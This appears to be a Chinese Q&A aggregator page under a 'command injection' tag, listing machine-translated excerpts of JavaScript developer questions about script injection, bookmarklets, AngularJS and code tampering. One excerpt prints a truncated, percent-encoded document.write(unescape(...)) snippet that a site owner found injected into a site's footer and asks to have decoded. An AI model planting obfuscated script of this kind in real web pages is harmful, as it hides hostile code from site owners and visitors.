草庐IT

命令注入

全部标签

javascript - 使用脚本注入(inject)打开的窗口

Thisquestion要求使用window.open打开一个新窗口,然后用脚本注入(inject)它。由于跨域安全问题,这是不可能的。但是,我的问题是我想做完全相同的事情,只是从同一个域到同一个域。这可能吗?请注意.write并不能解决这个问题,因为它首先从页面中删除所有html。 最佳答案 你可以这样做:vartheWindow=window.open('http://stackoverflow.com'),theDoc=theWindow.document,theScript=document.createElement('s

javascript - chrome/firefox- 如何运行 javascript 命令

我正在使用基于gwt的ui设计框架(称为GXT)。在此框架的文档中,提到在应用程序运行时运行“javascript:isc.showConsole()”,将在浏览器中打开开发人员控制台。但是,当我在Chrome中运行它时,它会在google上搜索命令-在firefox中它根本不起作用。如何在firefox或chrome中执行此javascript--javascript:isc.showConsole() 最佳答案 Bookmarklet不能再在地址栏/多功能框中执行。您必须先将javascript:链接加入书签才能执行。更好的解决

javascript - 如何使用命令行工具从 PDF 文件中提取 JavaScript?

如何使用命令行工具从PDF文件中提取JavaScript对象?我正在尝试使用带有此功能的Python制作GUI。我找到了这两个模块但无法运行它们:pyPdf2和pyPdf。 最佳答案 当您处理PDF中的JavaScript时,您必须注意两种情况(在仔细调查相关文件之前,您不一定能预先区分它们)。“无害”JavaScript恶意JavaScript案例1:无害、“有用”、“开放”的JavaScriptOP提供了来自PlanetPDF的示例JavaScript加载PDF的链接:http://www.planetpdf.com/plane

javascript - 在 AngularJS 应用程序中有条件地注入(inject)模块

我的Angular应用程序结构是这样的:App.jsangular.module('RateRequestApp',['RateRequestApp.services','RateRequestApp.controllers','ui.bootstrap','angular-loading-bar','textAngular','angularFileUpload']);我为不同的页面使用不同的HTML文件,但我没有使用Angular的$route,但我仍然想在具有不同Controller的所有页面中使用相同的应用程序。如您所见,我正在将第三方模块注入(inject)我的应用程序。问题

javascript - 如何使用 Asp.net MVC 上传和注入(inject)图像到 tinymce 4

所以因为绝对没有现代方法可以免费将图像上传到.net中的tinymce,所以我想也许可以添加一个在html中输入文件上传,然后使用ajax将其上传到服务器,然后将文件包含在tinymce编辑器中。问题是给tinymce注入(inject)图片,我不知道怎么...有什么办法吗? 最佳答案 我是在TinyMCE4.3.10中做的在tinymce.init中,放置这些选项:paste_data_images:true,images_upload_url:'/YourController/UploadImage',images_upload

javascript - 从 Windows 命令提示符运行 JavaScript

我编写了以下将二进制数转换为十进制数的JavaScipt代码:(functionbin_dec(num){varx=num;varresult=0;for(vari=0;i我希望能够从命令行运行这段代码。文件名为converter.js,我在与该文件相同的目录中运行命令提示符窗口。我正在尝试使用01001100作为函数参数来运行此代码。这是我的尝试:$converter.js01001100和$converter.js-01001100和$converter.jsbin_dec(01001100)但不幸的是,这些都不起作用。有人可以指出我的错误吗?提前致谢。

javascript - 解码一些注入(inject)的 Javascript?

我将以下内容注入(inject)到我的网站的页脚中,为了解决更大的谜团(“它是如何发生的”),我正在尝试对其进行解码。有什么想法吗?代码如下:document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6

javascript - 以编程方式向 vim 发送命令

我想在Javascript中构建一个界面,我在其中收集按键并将它们发送到远程vim实例,并让该实例报告任何更改。我非常有信心我可以实现所有浏览器-服务器通信和javascript---我只是不确定如何将数据传递给vim以及如何让它回复我。任何指点将不胜感激!谢谢编辑:可以在Github上找到初始实现。. 最佳答案 看看TextAid(特别是Perl服务器)。也许您会发现有用的想法。--重新编辑--因为我喜欢你的想法,所以我看得更远了。假设Vim是用+clientserver编译的,你可以像这样启动vim:$vim--serverna

javascript - 跨浏览器打印命令?

我想知道是否有任何跨浏览器的打印代码,也就是说,如果我需要其他的,那么就很简单了://printpage$('.print').click(function(){window.print();returnfalse;});我确实找到了书签,这就是为什么我也更关心打印品,但在谷歌上找不到任何有用的东西。以下代码用于书签跨浏览器//bookmarkpage$("a.bookmark").click(function(e){e.preventDefault();//thiswillpreventtheanchortagfromgoingtheuserofftothelinkvarbookma

javascript - 使 Javascript 代码黑客攻击/注入(inject)/操纵变得困难的方法?

是否有方法可以防止或使某人难以注入(inject)Javascript并操纵变量或访问函数?我有一个想法是在每次重新加载时随机更改所有var名称,以便每次都需要重写恶意软件脚本?或者还有其他不那么痛苦的方法吗?我知道最终有人会闯入,但我想知道如何使重现操作变得困难,这样人们就不会发布小书签或类似的东西供所有人使用。我不在乎专家是否在代码中找到了他们的方法,但我希望它比javascript:d=0;复杂一点如果您知道如何让破解Javascript变得更加困难,请写下来。 最佳答案 接受您的javascript将被“操纵”并在服务器端进